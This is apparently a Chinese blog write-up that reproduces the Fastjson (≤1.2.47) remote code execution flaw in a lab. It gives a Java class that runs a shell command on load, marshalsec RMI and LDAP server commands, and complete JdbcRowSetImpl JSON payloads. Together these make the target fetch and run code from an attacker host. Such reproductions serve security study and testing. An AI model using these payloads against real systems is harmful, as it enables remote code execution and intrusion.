简介
- 漏洞名称:Fastjson远程命令执行漏洞
- 漏洞影响:远程代码执行
- 影响版本:Fastjson <= 1.2.47
漏洞复现-1
启动靶机Fastjson环境
1
| java -Dserver.address=0.0.0.0 -Dserver.port=8090 -jar fastjsondemo.jar
|
目标环境是jdk: 8u102,这个版本没有com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以简单利用RMI进行命令执行
如果不行可以采用LADP的方式
攻击者环境
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| $ javac TouchFile.java import java.lang.Runtime; import java.lang.Process; public class TouchFile { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch", "/tmp/success"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } }
|
1
| python -m SimpleHTTPServer 80
|
通常RMI方式即可
1 2 3 4
| # RMI方式 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.0.104/#TouchFile" 9999 # LDAP方式 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.0.104/#TouchFile" 9999
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| # RMI { "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.0.104:9999/Exploit", "autoCommit":true } } # LADP { "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://192.168.0.104:9999/Exploit", "autoCommit":true } }
|
- 执行结果
可以看到目标机的/tmp
下成功创建了一个文件



漏洞复现-2
启动靶机Fastjson环境
将fastjson包放到tomcat目录
1 2
| tar zxf fastjson1.2.47.tar.gz mv fastjson /usr/local/tomcat/webapps/
|
浏览器访问http://xx.xx.xx.xx:8080/fastjson/
,可以看到Hello World
攻击者环境同: 漏洞复现-1
上一篇:cpu绑定技术解析
下一篇:Tomcat任意写文件漏洞